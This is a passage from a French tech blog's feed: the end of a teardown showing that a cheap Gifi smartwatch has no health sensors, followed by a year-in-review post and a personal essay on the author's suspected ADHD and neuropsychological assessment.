&lt;p&gt;Je décide alors, pour en avoir le cœur net, d'ouvrir purement et simplement la
montre afin de mettre à nu son électronique, exactement comme Stéphane Marty
l'avait fait avec une smartwatch en provenance d'AliExpress.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-grand-reveal"&gt;
&lt;h2&gt;Le grand reveal&lt;/h2&gt;
&lt;p&gt;L'ouverture du boîtier de la montre est un peu laborieux, je m'y attendais car
il est marqué sur le site du distributeur (Gifi) que cette dernière est étanche:&lt;/p&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/montre-etanche.png" style="width: 600px;" /&gt;
&lt;p&gt;Cependant, après quelques efforts à base de scalpel et d'outil adapté, j'arrive
dans un premier temps à retirer le cache situé sur l'arrière du boîtier, celui
se trouvant au contact de la peau du bras, et découvre la présence de quatre
LEDs sur un circuit flexible, avec une sérigraphie indiquant &amp;quot;TS12-3_L21_KEY+LED_V1.0&amp;quot;.
Aucun capteur biométrique de présent, simplement des LEDs et un bouton poussoir
connecté sur un PCB flexible !&lt;/p&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/vue-dessous-sans-cache.jpg" style="width: 600px;" /&gt;
&lt;p&gt;Pour vous donner une idée, la photo ci-dessous montre un ensemble de capteurs de
la Fitbit Surge où l'on peut voir des LEDs et un capteur photosensible utilisé
pour mesurer les pulsations cardiaques (entre autres).&lt;/p&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/fitbit-charge5-sensors.jpg" style="width: 600px;" /&gt;
&lt;center&gt;&lt;small&gt;Crédit: Billie Grace Ward (Flickr), CC-BY&lt;/small&gt;&lt;/center&gt;&lt;p&gt;Je réussis ensuite à retirer l'écran et découvrir l'intérieur de la montre, et
à ce moment la supercherie ne tient plus. La montre possède une petite batterie
(annoncée à 200mAh) reliée à un petit circuit imprimé, auquel est aussi connecté
un écran avec dalle tactile, un vibreur, un haut-parleur et un microphone. Pas
de trace de capteur, juste ce qui ressemble à un système-sur-puce &lt;em&gt;JieLi AC6958C6&lt;/em&gt;
en charge de la gestion de l'écran, de l'audio, de la connectivité Bluetooth,
ainsi que des entrées utilisateurs.&lt;/p&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/vue-interieur.jpg" style="width: 600px;" /&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/soc-principal.jpg" style="width: 600px;" /&gt;
&lt;p&gt;Le circuit contient aussi un accéléromètre (utilisé par exemple pour
déclencher des photos lorsque la montre est secouée) et une puce gérant la dalle
tactile (&lt;em&gt;BL6133&lt;/em&gt;).&lt;/p&gt;
&lt;img alt="" src="/images/2025-01-15-smartwatch-gifi/controle-tactile.jpg" style="width: 600px;" /&gt;
&lt;p&gt;Aucune trace de puce électronique ressemblant à un capteur de rythme cardiaque
ou de mesure de saturation d'oxygène dans le sang, ni de capteur photosensible.
Il y a fort à parier que les valeurs affichées par la montre sont tout simplement
générées de façon aléatoire dans une plage de valeurs considérées comme normales.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Une smartwatch à 12 euros, cela semblait alléchant mais ce n'est au final pas
bien différent de celles vendues sur AliExpress et qui ne correspondent pas aux
promesses faites par le fabricant. Là où je suis étonné, c'est de trouver ce
type de produit en rayon chez Gifi.&lt;/p&gt;
&lt;p&gt;J'ai parcouru la notice en long et en large, et celle-ci mentionne pourtant des
fonctionnalités qui sont simplement absentes du produit, mais qui semblent être simulées par ce
dernier, en particulier les fonctions de suivi de santé. La notice mentionne
certes que les données &lt;em&gt;mesurées&lt;/em&gt; ne doivent pas être utilisées à des
fins médicales, ambulatoires ou diététiques. Je peux comprendre pourquoi.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Projets"/><category term="projets"/></entry><entry><title>Bye bye 2024, hello 2025 !</title><link href="https://virtualabs.fr/humeur/bye-bye-2024-hello-2025" rel="alternate"/><published>2025-01-05T21:00:00+01:00</published><updated>2025-01-05T21:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2025-01-05:/humeur/bye-bye-2024-hello-2025</id><summary type="html">&lt;img alt="" src="/images/2025-01-05/banner.jpg" /&gt;
&lt;p&gt;Il est temps comme chaque année de rédiger un billet de synthèse de l’année passée
et en profiter pour se fixer des objectifs pour la nouvelle année et tout un tas
de bonnes résolutions que je vais essayer de tenir … ou pas. Alors, qu’en est-il
de 2024 ? Comment …&lt;/p&gt;</summary><content type="html">&lt;img alt="" src="/images/2025-01-05/banner.jpg" /&gt;
&lt;p&gt;Il est temps comme chaque année de rédiger un billet de synthèse de l’année passée
et en profiter pour se fixer des objectifs pour la nouvelle année et tout un tas
de bonnes résolutions que je vais essayer de tenir … ou pas. Alors, qu’en est-il
de 2024 ? Comment s’est déroulée cette année, et de quoi sera fait 2025 ?&lt;/p&gt;
&lt;div class="section" id="tldr-2024-fut-bien-meilleure-que-2023"&gt;
&lt;h2&gt;TLDR; 2024 fut bien meilleure que 2023 !&lt;/h2&gt;
&lt;p&gt;Sur le plan personnel et avec du recul, 2023 a été une sacré épreuve. Je suis
passé de l’état où je me pose tout un lot de questions à celui où je fais des
recherches intenses et obtient finalement un début de réponse, et bien sûr les
conséquences qui vont avec. Quand on se met à douter de sa santé mentale, qu’on
en parle à des personnes de confiance en mentionnant des hypothèses (et c’est
bien la chose la plus difficile à faire, je trouve) et que la première réponse
est juste que l’on se fait des histoires ou que l’on cherche à avoir une étiquette
“parce que ça fait cool”, ça n’est pas agréable du tout et vient nourrir encore
plus la machine à ruminer. Et le besoin d’avoir des réponses se fait encore plus
sentir, sans parler du sentiment d’incompréhension de l’entourage. En parallèle,
cela m’a permis de découvrir que je n’étais pas seul, de discuter avec des gens
qui comprennent ce que je traversais et qui connaissaient surtout des solutions
pour atténuer certaines situations, dont le &lt;em&gt;démasquage&lt;/em&gt; et les &lt;em&gt;stim-toys&lt;/em&gt;. J’ai
aussi appris doucement à dire de quoi j’avais envie ou besoin, ce que je n’avais
jamais fait jusque là, et ça a largement contribué à une nette amélioration fin 2023.
Ça, c’était en quelque sorte là où j’en étais fin 2023 au moment de rédiger le
&lt;a class="reference external" href="/humeur/bye-bye-2023-hello-2024"&gt;billet de wrap-up de l’année&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Après presque un an d’attente, j’ai enfin eu un rendez-vous pour un bilan neuropsy
fin janvier 2024 (que j’ai relaté dans &lt;a class="reference external" href="/humeur/crise-quarantaine"&gt;un billet de blog en octobre dernier&lt;/a&gt;) qui
m’a permis d’avoir plus d’information et de comprendre ce qu’il se passait, ou du
moins une bonne partie de ce qu’il se passait. L’hypothèse d’un trouble neuro-développemental
(un trouble de l’attention en ce qui me concerne) a ainsi fait son chemin, et a
permis à mon entourage proche de mieux comprendre, et en ce qui me concerne de
moins culpabiliser. Le reste de l’année s’est très bien passé, et j’ai même réussi
à en parler sur le blog ! Car oui, j’ai compris peu de temps après mon bilan qu’il
allait falloir que je démasque encore plus si je voulais aller mieux. Quand je parle
de démasquer, il s’agit principalement d’arrêter de me forcer à faire des choses
pour plaire aux gens, d’apprendre à exprimer ce que je veux vraiment, d’accepter
que je ne sois pas capable de faire certaines choses et que j’en fais d’autres
qui peuvent paraître bizarres. En bref essayer d’être vraiment moi, celui qui a
été caché pendant un bon bout de temps, et osef de passer pour un weirdo.&lt;/p&gt;
&lt;p&gt;Côté streaming, le fait de m’autoriser à ne pas finir des projets et même d’en
stopper certains dès janvier m’a permis de me sentir plus tranquille, d’avoir moins
de pression et d’être plus serein. J’ai aussi eu l’occasion d’expliquer mes déboires
de santé mentale durant quelques lives, d’une part car j’avais donné un talk à leHACK
qui parlait de neurodiversité avec des exemples de ce que je vis dedans (même si
c’était pas clairement indiqué) et d’autre part parce que ça entre dans la stratégie
de ne plus me cacher. Je me suis aussi heurté aux autres effets du TDA, à savoir
la procrastination à haut niveau et quelques hyperfixations. Ma procrastination
légendaire qui m’a amené à ne pas réussir à commander des composants pour des projets
pendant des mois et du coup à ne faire que du développement ou du reverse en stream,
et les hyperfixations qui ont fait que pendant pas mal de semaines je n’ai pas vraiment
diversifié les sujets… Mais c’était trop juste trop bien (et désolé pour ceux qui
aiment la diversité) !
Ceci dit, j’ai quand même réussi à presque terminer une version utilisable de CutcutGo,
et ça ce n’est pas rien. Alors oui, ce n’est pas encore parfait et demande à être amélioré,
mais je considère que c’est tout de même une réussite de 2024.&lt;/p&gt;
&lt;p&gt;Enfin, côté boulot j’ai aussi participé à une initiative interne visant à parler
de santé mentale au travers de témoignages, vu que c’est la grande cause nationale
de 2025, ce qui n’a pas été une mince affaire. J’ai fait une sorte de coming out,
avec les risques que ça engendre. Je ne sais toujours pas si c’est une bonne ou
une mauvaise chose, l’avenir le dira.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="lavancement-des-projets-en-2024"&gt;
&lt;h2&gt;L’avancement des projets en 2024&lt;/h2&gt;
&lt;p&gt;Ça a été bien plus mouvementé qu’en 2023, mais j’ai tout de même réussi à faire
des choses ! Une des réalisations dont je suis assez fier, c’est le black badge
de leHACK 2024: un badge unique qui offre un accès à vie à l’évènement pour celui
qui le remporte. Ce badge a été conçu en urgence et a demandé de travailler la
conception électronique mais aussi mécanique via de l’impression 3D, et le résultat
était vraiment cool. C’était la première fois que je faisais un projet avec un
bouton plastique jouant sur la flexibilité naturelle du PLA, ou que j’utilisais
du PLA transparent en combinaison avec des LEDs.
Le boulot fait sur le projet CutcutGo et en particulier son bootloader avec les
supports successivement de FAT12 et FAT32 a été très enrichissant, j’ai appris
énormément sur ces systèmes de fichiers et comment les simuler via une connectique
USB et un micro-contrôleur. La dernière version en date du micro-logiciel fonctionne
suffisamment bien pour que ça soit à peu près utilisable, et ce n’est pas rien
après deux ans de travail.&lt;/p&gt;
&lt;p&gt;Côté interventions, j’ai eu la chance de participer à différentes conférences et
de présenter des travaux variés, ce qui a été notamment l’occasion de retourner
à DEFCON en août et de présenter un gros projet sur lequel je bosse depuis deux
ans, &lt;a class="reference external" href="https://whad.io"&gt;WHAD&lt;/a&gt;. J’ai aussi animé avec Romain Cayre des ateliers sur WHAD, et je dois
dire que ça change des talks (c’est plus fatiguant mais aussi très intéressant,
sans parler des nombreux bugs trouvés durant ces sessions). Mon talk non-technique
sur la paresse présenté à leHACK était un de mes challenges de cette année 2024,
et a été un des plus durs à donner, mais aussi l’un des plus satisfaisants car
il m’a permis d’avoir de nombreux échanges lors de l’évènement avec des personnes
qui se posaient des questions ou qui voulaient simplement discuter du sujet.&lt;/p&gt;
&lt;p&gt;La fin de l’année a été plutôt prolifique en développement, j’ai bien avancé sur
différents projets au détriment de hacks plus concrets impliquant de l’électronique
ou du reverse hardware, mais cela m’a surtout permis d’éviter de ranger l’atelier.
Car oui, celui-ci était en bazar et je ne trouvais pas l’énergie de tout ranger.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="alors-on-fait-quoi-en-2025"&gt;
&lt;h2&gt;Alors, on fait quoi en 2025 ?&lt;/h2&gt;
&lt;p&gt;Dans l’immédiat, on va reprendre les bidouilles sur les consoles chinoises pas
chères car j’ai besoin de retrouver du concret, à savoir de la soudure et du bon
vieux hacking hardware. Et aussi parce que le projet est en standby depuis plusieurs
mois, il est vraiment temps de le ressortir et d’avancer dessus. J’ai aussi
l’atelier prévu pour leHACK Kids sur lequel je dois avancer car la date approche
à grands pas, j’aimerais bien terminer par ailleurs le reverse et le hack de la
board Nucleo STM32WB55, tout comme prendre du temps pour améliorer le logiciel
lié à CutcutGo, mon firmware maison pour la Cricut Maker. Et jouer aussi avec
plusieurs trucs qui sont dans les cartons depuis quelque temps et qui attendent
d’être bidouillés !&lt;/p&gt;
&lt;p&gt;Comme vous pouvez le voir, ce ne sont pas les idées qui manquent, et je ne compte
pas changer la recette de 2024, vu le bien que ça m’a fait. Oui, la gestion des
projets sera chaotique, les plannings peut-être chamboulés, mais le principal
c’est juste de prendre du plaisir à bosser sur des projets, découvrir de nouveaux
trucs et d’apprendre un maximum.&lt;/p&gt;
&lt;p&gt;Le bureau devrait avoir un petit lifting, j’ai prévu de changer l’agencement et
d’essayer d’optimiser le rangement pour avoir de meilleures conditions de travail
et un visuel moins horrible lors des streams ou des visioconférences. Il est prévu
que je change de bureau, que je refasse l’éclairage et que je règle les soucis
d’USB liés au streaming en doublant le matériel lié au télétravail, ça va faire
quelques investissements mais je pense que ça me permettra aussi d’être plus
tranquille et de mieux scinder les deux. Et il se pourrait que le bazar ambiant
que j’arrivais à cacher jusque là soit visible, mais bon disons que ça fait
partie de la démarche d’assumer pleinement mon côté désorganisé.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bref, je vous souhaite une très bonne année 2025, et tout plein de projets !&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="projets"/><category term="opensource"/><category term="streaming"/></entry><entry><title>La crise de la quarantaine ?</title><link href="https://virtualabs.fr/humeur/crise-quarantaine" rel="alternate"/><published>2024-10-07T00:00:00+02:00</published><updated>2024-10-07T00:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2024-10-07:/humeur/crise-quarantaine</id><summary type="html">&lt;p&gt;Après quasimment un an à tourner autour du pot, c'est le moment de se lancer. Ce billet
de blog est clairement un de ceux difficiles à rédiger, mais pas pour la raison que l'on
pourrait penser. Il y a des billets pour lesquels on ne sait pas exactement ce que …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Après quasimment un an à tourner autour du pot, c'est le moment de se lancer. Ce billet
de blog est clairement un de ceux difficiles à rédiger, mais pas pour la raison que l'on
pourrait penser. Il y a des billets pour lesquels on ne sait pas exactement ce que l'on
va écrire, ou que l'on réécrit sans fin car les tournures ou la structure même ne vont pas,
ou l'on n'aime pas telle ou telle façon que l'on a choisi d'aborder les choses. Ici, ce
n'est pas tout à fait le cas (même si c'est présentement la cinquième version de ce billet,
qui m'a pris un mois à rédiger). Je sais pertinemment de quoi parler et comment l'aborder, mais
la question qui se pose est la suivante: est-il nécessaire d'en parler ? Est-ce que ce
ne serait pas une grossière erreur de le faire, que je pourrai regretter par la suite ?
Cependant, si vous lisez ce billet c'est bien que la question ne se pose plus désormais.&lt;/p&gt;
&lt;p&gt;Ça doit être un des billets les plus personnels que j'ai pu
écrire, après plusieurs relectures et retouches successives.
Je ne suis pas du genre à étaler ma vie privée, mais je crois que j'ai &lt;em&gt;besoin
de partager&lt;/em&gt; un bout de ce qu'a été mon année 2024 et les quelques années précédentes.
Ça va faire plus d'un an que je garde ça pour moi, que je traverse tout un ensemble de
phases plus ou moins difficiles, et ce n'est pas évident. Ce n'est pas évident d'en parler,
ce n'est pas évident de se confier, ce n'est pas évident de comprendre non plus. Mais
ça fait du bien de l'écrire, ça permet de faire le point et de tenter de mettre les
choses au clair. Et expliquer aussi, même si je sais que ce dont je vais parler ne
va pas être simple, que le risque d'incompréhension est présent, que ça pourrait
même me valoir des reproches ou des critiques sur le plan professionnel.&lt;/p&gt;
&lt;p&gt;J'ai bientôt 40 ans et je viens de découvrir que j'ai &lt;em&gt;probablement&lt;/em&gt; un trouble déficitaire
de l'attention avec/ou sans hyperactivité (ou &lt;em&gt;TDAH&lt;/em&gt;).&lt;/p&gt;
&lt;div class="section" id="le-tdah-c-est-a-la-mode-il-parait"&gt;
&lt;h2&gt;Le TDAH c'est à la mode, il paraît.&lt;/h2&gt;
&lt;p&gt;Avant d'entrer dans le vif du sujet, il m'est important de préciser quelques points.
Tout d'abord, je ne rédige pas ce billet pour me faire plaindre ou attirer de la
sympathie. Ce n'est pas non plus un billet pour flatter mon égo (pour peu que ce
soit flatteur) ou me mettre en avant d'une manière ou d'une autre. Oui, je sais aussi
que &lt;a class="reference external" href="https://www.radiofrance.fr/franceculture/avons-nous-tous-des-troubles-de-l-attention-7861144"&gt;les diagnostics de TDAH sont à la mode&lt;/a&gt;,
mais je vous invite à lire l'intégralité du billet pour affiner votre opinion.&lt;/p&gt;
&lt;p&gt;Pour les personnes qui me connaissent (proches, collègues, managers), ne soyez pas étonnés
du fait que je n'ai jamais abordé tout cela avec vous. C'est relativement récent, il paraît
que je m'en sors pas trop mal et que mes difficultés ne transparaissent que peu. Il ne s'agit
pas d'avouer une faiblesse, mais plus d'expliquer un mode de fonctionnement, que je
n'ai compris que très récemment.&lt;/p&gt;
&lt;p&gt;Ces précisions faites, remontons quelques années en arrière, en 2020.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="sortie-de-confinement-le-debut-des-problemes"&gt;
&lt;h2&gt;Sortie de confinement, le début des problèmes&lt;/h2&gt;
&lt;p&gt;Le confinement lors de l'épidémie de SARS-CoV-2, ou COVID-19, a été quelque chose
d'assez particulier en ce qui me concerne. Beaucoup de personnes l'ont vécu comme quelque
chose de difficile: rester enfermé chez soi, ne pas pouvoir sortir retrouver ses amis, se
faire un bon restaurant ou juste boire des coups dans un bar était moralement éprouvant.
De mon côté, ce n'était pas exactement la même musique. Je peux dire que j'ai vraiment adoré
le confinement. Certes, ce n'était pas facile avec deux enfants en primaire, mais cela mis
à part c'était un bonheur de ne pas avoir à tout le temps bouger. J'ai trouvé le temps de
bosser sur des projets nouveaux, d'apprendre tout un tas de trucs, de faire des Lego pendant
des heures... Les journées se ressemblaient et se répétaient, mais cela n'était franchement
pas un problème, au grand désespoir de ma moitié.&lt;/p&gt;
&lt;p&gt;Et puis vint le déconfinement, et le dur retour à la réalité. Pendant plusieurs mois, on avait
tout fait quasimment à distance, soit par téléphone soit en visio, et il fallait désormais
remettre un pied dans le vrai monde, et recommencer à interagir avec de &lt;em&gt;vrais gens&lt;/em&gt;. Il
fallait appeler à nouveau le coiffeur pour prendre rendez-vous, affronter les foules du
métro parisien pour aller bosser, faire des réunions en présentiel après des mois de visio-conférences.
C'est à ce moment que c'est devenu difficile. D'une part parce que je voyais
bien que j'étais seul dans mon coin à avoir adoré le confinement, mais aussi parce que
certaines tâches étaient plus difficiles à faire qu'auparavant. Prendre des rendez-vous,
envoyer des e-mails, appeler des gens. J'arrivais à les faire, mais très souvent à la
dernière minute, une fois que je n'avais plus vraiment le choix. Et d'autres fois je
les finissais en retard.&lt;/p&gt;
&lt;p&gt;Fin 2020, je prends la décision de quitter mon emploi actuel et d'accepter un poste dans
une autre société qui me permet de bosser à distance, d'une part à cause d'une solution
de garde d'enfants qui nous a laissé tomber (mais ce n'était pas vraiment leur faute,
dur de proposer une garde d'enfants quand tu n'as plus d'employés) et d'autre part car je me sentais très à
l'aise de retrouver un mode de fonctionnement assez proche de celui que j'avais durant
le confinement (et cela faisait aussi quelques années que je pratiquais le télétravail,
à environ 50% de mon temps). Je commence à ce nouveau poste début 2021, en retrouvant tout le stress
d'une embauche et les premiers jours et semaines de découverte de l'entreprise, de sa
culture et de ses habitudes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ce-truc-qui-me-trotte-en-tete"&gt;
&lt;h2&gt;Ce truc qui me trotte en tête&lt;/h2&gt;
&lt;p&gt;J'observe assez rapidement un décalage entre la façon dont je perçois mon travail
et la manière dont ce dernier est apprécié. J'ai le sentiment d'être brouillon,
complètement désorganisé, de ne pas arriver à gérer mon temps et mes priorités,
de galérer comme pas permis sur les missions qui me sont confiées, et j'en fais
part lors de mes évaluations. Et en face, c'est juste l'incompréhension. Non, tout
le monde est très satisfait de ce que je fais, ils ne comprennent pas pourquoi
j'insiste sur mes soucis d'organisation car a priori je rends mes rapports en temps
et en heure et je peux gérer plusieurs missions en parallèle. D'accord, donc
c'est moi qui m'en fais tout un fromage ? Suis-je juste un peu trop perfectionniste,
au point de m'en vouloir de la moindre petite erreur que je fais ?&lt;/p&gt;
&lt;p&gt;A cela s'ajoute le stress des réunions d'équipe, qui ont lieu chaque semaine en
présence de tous les collègues. Dès que c'est mon tour de parler, c'est la cata.
Je bafouille, j'ai l'impression d'être au niveau zéro de la langue anglaise, de ne
pas être clair dans ce que je raconte, de pas avoir ma place dans l'équipe. C'est
peut-être parce que je viens juste d'arriver, enfin je suppose. Le syndrome de
l'imposteur, mais en vraiment tenace.&lt;/p&gt;
&lt;p&gt;Plusieurs mois ce sont écoulés, j'ai pris mes marques dans mon nouveau poste mais
il y a toujours ce truc qui me trotte en tête... Je me sens comme en décalage,
sauf que là c'est beaucoup plus flagrant que dans mes boulots précédents. Je
finis par penser à certains moments que si ça se trouve j'ai un problème, que
tout le monde fait comme si tout était normal mais qu'au fond ils ont remarqué
qu'il y avait un petit truc qui clochait, mais que par politesse personne n'en
parle. J'arrive malgré tout à travailler convenablement, cela me pourrit
juste la vie au quotidien, mais je m'en sors.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="je-ne-suis-peut-etre-pas-comme-les-autres"&gt;
&lt;h2&gt;Je ne suis peut-être pas comme les autres&lt;/h2&gt;
&lt;p&gt;On est désormais en 2022, et je laisse mes parents à Brest avec ma grand-mère
mourrante pour rejoindre mes collègues à La Haye afin de participer au &lt;em&gt;Hardware CTF&lt;/em&gt;
de &lt;em&gt;Hardwear.io&lt;/em&gt;. Vers 15 heures, alors que j'étais bloqué à la Gare du Nord pour
cause d'alerte à la bombe, je reçois un appel de ma mère qui m'annonce le décès
de ma grand-mère. Je m'attendais à cette nouvelle, mais je pensais que j'allais
au moins être triste. En réalité, non. J'étais plutôt soulagé, et j'ai repris mon chemin vers les Pays-Bas.
J'ai par la suite changé mes billets de retour pour pouvoir assister aux funérailles
organisées quelques jours plus tard.&lt;/p&gt;
&lt;p&gt;Dans l'année qui a suivi, la grand-mère de ma femme ainsi que mon beau-père sont
décédés à quelques mois d'intervalle. J'ai eu l'impression d'être complètement
détaché de tout ça, inhumain d'une certaine façon, je n'ai pas versé une larme
et ma fille m'a même demandé si ça m'arrivait d'être triste et de pleurer. Ça fait un peu
réfléchir, sur le coup. Ma chérie me dit juste que je gère le deuil différemment,
oui ça doit être ça alors. À y réfléchir, ce n'est pas la première fois que ça
se passe comme cela. Pour le &lt;a class="reference external" href="https://www.clubic.com/antivirus-securite-informatique/actualite-463050-hacking-scene-francaise-hommage-crashfr.html"&gt;décès de CrashFr&lt;/a&gt;, c'était exactement la même chose.&lt;/p&gt;
&lt;p&gt;Ça doit donc être ça, je ne dois pas fonctionner comme les autres. Il y a désormais
cette petite musique qui trotte, cette rengaine un peu plus insistante qu'auparavant
qui me répète que je suis peut-être juste un sociopathe qui s'ignore. Et ça fait
très bizarre.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="enfin-une-piste-et-le-debut-des-gros-ennuis"&gt;
&lt;h2&gt;Enfin une piste, et le début des gros ennuis&lt;/h2&gt;
&lt;p&gt;Mars 2023, je tombe sur un tweet d'une connaissance parlant d'un test en ligne
dénommé &lt;em&gt;Ritvo Autism Asperger Diagnostic Scale–Revised&lt;/em&gt;, ou &lt;em&gt;RAADS-R&lt;/em&gt;. Je ne
sais sincèrement plus pourquoi je me suis dit que le faire serait intéressant,
toujours est-il que je me suis pris au jeu et j'ai répondu honnêtement aux
différentes questions. Le résultat m'a surpris, je ne pensais pas avoir un score
aussi élevé. Le test disait en substance qu'il serait intéressant de consulter,
car je pouvais être concerné. On parle ici d'un test de &lt;em&gt;screening&lt;/em&gt; en ligne
visant à déterminer un possible autisme, loin d'un quelconque diagnostic.&lt;/p&gt;
&lt;p&gt;Mon premier réflexe a été de contacter cette connaissance, en lui demandant ce
qu'elle pensait d'un tel score. Sa réponse a été encore plus perturbante: &amp;quot;ah
bah je ne suis pas étonné, quand je t'ai vu avec tes enfants ça transpirait la
famille neuro-A !&amp;quot;. Heuuu, comment ça ? Et c'est quoi une &amp;quot;famille neuro-A&amp;quot; ?
J'ai ainsi découvert un nouvel univers, celui des neuroatypies, avec son
vocabulaire et tout un lot de sources d'information que j'allais explorer par la
suite. Cette même connaissance m'a proposé de discuter du sujet, et on a bien
du passer plus de 4 heures d'affilée à échanger... Il y avait en effet des
éléments qui allaient en ce sens, mais je voyais aussi beaucoup de choses que
rien n'expliquait. Moi, autiste ? Sérieusement ? Je sais qu'on rigolait pas mal
de ça avec les collègues, on disait assez souvent qu'on &lt;em&gt;passait en mode autiste&lt;/em&gt;
quand on se mettait à focus à fond sur un sujet ou une tâche, mais de là à penser
que ça pouvait être vraiment le cas...&lt;/p&gt;
&lt;p&gt;J'ai fait ce que toute personne sérieuse aurait fait dans ce cas de figure.
Après m'être relativement bien documenté j'en ai parlé avec ma moitié, lui exposant
certains de mes traits qui me faisaient penser à cela mais aussi ceux pour lesquels
ça ne &amp;quot;collait pas&amp;quot;. Je lui ai dit que ça m'intéressait d'avoir des réponses à toutes
ces questions, vu que ça me pourrissait la vie depuis plusieurs années.
Ce fut aussi l'occasion de mettre à plat ce qu'il s'était passé les années précédentes,
d'évoquer des choses dont on n'avait pu parler, de tout mettre sur table après tout
ce temps à me poser des questions. Mais ce ne fut pas sans conséquences. J'avais
comme ouvert la boîte de Pandore, et l'année qui suivit fut assez rude pour notre
relation.&lt;/p&gt;
&lt;p&gt;Le fait d'avoir une piste, correcte ou non, était aussi pour moi très positif. Je
me suis mis à me documenter à fond sur le sujet, à engranger de l'information, à
y passer des nuits. À regarder des vidéos de témoignages sur Youtube, en français
et en anglais, à découvrir des caractéristiques propres aux neuroatypies, les
comorbidités associées, les symptômes et les différentes manières dont ils
s'expriment. Je passais mon temps à comparer mes expériences, mon vécu, aux
différents témoignages et explications trouvés en ligne. Ça a duré quelques
mois, tout de même. Et ça m'arrive encore de me documenter à ce sujet, par ailleurs.&lt;/p&gt;
&lt;p&gt;En parallèle, nous avions convenu avec ma moitié que je devrais prendre rendez-vous
avec un spécialiste histoire de faire le tri et de voir s'il y a moyen d'améliorer
la situation. Passage obligé par le médecin traitant dans un premier temps, qui
m'a gratifié d'un &amp;quot;Vous, autiste ? Non, pas le moins du monde !&amp;quot;, mais qui m'a
redirigé vers une neuropsychologue pour la réalisation d'un bilan.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="les-choses-ne-s-arrangent-pas"&gt;
&lt;h2&gt;Les choses ne s'arrangent pas&lt;/h2&gt;
&lt;p&gt;Depuis que cette hypothèse me trottait en tête, je cherchais à creuser dans le passé
tout en essayant d'être objectif et d'éviter le biais de confirmation. Ce n'est
pas simple, car il est assez difficile de se souvenir de comment l'on était dans
l'enfance, et il est relativement aisé d'avoir de &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Faux_souvenirs"&gt;faux souvenirs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;La première chose qui m'est venu à l'esprit fut de contacter mon ami de fac avec
qui nous avons vécu en colocation pendant une année scolaire. Je me disais que
s'il y a bien une personne qui pourrait avoir un avis neutre, c'était bien lui !
On s'est perdu de vue il y a vingt ans, mais j'ai toujours son adresse e-mail.
Je lui envoie un mail, une bouteille à la mer, lui exposant ma situation et lui
rappelant certaines discussions que l'on avait pu avoir lors de cette année de
colocation. J'avais directement évoqué mon axe de recherche et l'hypothèse d'un
trouble du spectre de l'autisme (ou TSA) dans mon mail. Par chance, il avait conservé la
même boîte mail et je reçus une réponse de sa part.&lt;/p&gt;
&lt;p&gt;La réponse en question fut très déroutante. &amp;quot;Si tu veux parler d'autisme, tu as
frappé à la bonne porte, il se trouve que je suis autiste et que j'ai un TDAH&amp;quot;.
Je ne m'attendais pas du tout à ça. Ce fut l'occasion de reprendre contact, même
si ça fait très bizarre après tant d'années.&lt;/p&gt;
&lt;p&gt;En parallèle, j'ai alors l'impression que les &lt;em&gt;symptômes&lt;/em&gt; s'aggravent. Je remarque
tous ces moments où je ne comprenais rien, toutes ces situations où je galèrais, en
particulier au boulot et dans la famille. Et aussi en stream, car du coup au moindre
petit problème, bug ou quoique ce soit, il y a cette petite voix qui me disait
&amp;quot;ah tiens, ça serait pas lié à ton truc, là ?&amp;quot;. Toutes ces blagues faites par les
viewers que je ne captais pas, les moments où je prends des remarques au premier
degré alors que ce n'était juste que des blagues de collègues, les épisodes du
quotidien où je &amp;quot;bugue&amp;quot; littéralement sans explication valable...
Côté vie privée, c'était de plus en plus de remarques sur mon comportement, des
incompréhensions et un changement qui était visible. Et moi qui ne comprenais rien.&lt;/p&gt;
&lt;p&gt;Mais à côté de ça, je faisais quelques progrès. J'ai découvert les &lt;em&gt;stim toys&lt;/em&gt;
(mince, comment j'ai fait sans ?), j'ai commencé à rédiger un genre de
journal de bord afin de tout noter et de pouvoir ensuite l'analyser et tenter
d'y trouver des réponses, j'ai aussi fait un petit tableau des caractéristiques
qui penchaient pour le &lt;em&gt;pour&lt;/em&gt; et le &lt;em&gt;contre&lt;/em&gt;. C'était aussi un très bon moyen
pour souffler et faire le point, cela me permettait de me vider la tête en mettant
tout ça par écrit, tout en menant ma petite enquête. À cette période, le fait de
ne pas savoir combiné à toutes ces choses que je remarquais m'a ruiné le moral.
Difficile de dire exactement l'état d'esprit dans lequel j'étais, mais je me
rappelle avoir été relativement mal quand j'étais en déplacement aux Etats-Unis
au point de consulter pour la première fois une psychologue en ligne.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-bilan-neuropsy"&gt;
&lt;h2&gt;Le bilan neuropsy&lt;/h2&gt;
&lt;p&gt;J'ai enfin réussi à avoir un rendez-vous pour un bilan neuropsy début 2024, soit
presque un an après mon premier appel, la liste d'attente étant relativement longue.
Ce bilan comprenait un test de QI (WAIS IV), et des tests complémentaires en
fonction du premier entretien avec la neuropsychologue (recommandée par le médecin traitant).&lt;/p&gt;
&lt;p&gt;Je crois que je n'ai jamais été aussi stressé lors d'un entretien. C'était pire
que lors des réunions d'équipe, je ne savais pas où me mettre, je ne savais pas
